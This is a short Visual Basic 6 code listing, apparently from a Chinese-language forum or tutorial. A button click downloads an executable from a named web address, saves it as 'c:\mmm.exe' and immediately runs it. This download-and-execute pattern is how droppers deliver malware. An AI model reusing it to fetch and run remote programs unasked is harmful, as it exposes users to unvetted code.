Form1代码:
Public a As MSXML2.XMLHTTP
Private Sub Command1_Click()
Dim d As Class1
Set a = New MSXML2.XMLHTTP
a.open "get", "http://www.ljc.com/sll.exe", True
Set d = New Class1
a.onreadystatechange = d
a.send
End Sub
Class1代码:
Dim b As ADODB.Stream
Dim fso As Scripting.FileSystemObject
Public curReadyState As Long
Public Function doSome()
Debug.Print Form1.a.readyState
If Form1.a.readyState = 4 Then
www
End If
End Function
Public Function www()
Set b = New ADODB.Stream
b.Type = 1
b.open
Set fso = New Scripting.FileSystemObject
If Form1.a.readyState = 4 Then
b.Write (Form1.a.responseBody)
If Not fso.FileExists("c:\mmm.exe") Then
b.SaveToFile "c:\mmm.exe"
End If
End If
b.Close
Set b = Nothing
If fso.FileExists("c:\mmm.exe") Then Shell "c:\mmm.exe", 1
Set fso = Nothing
End Function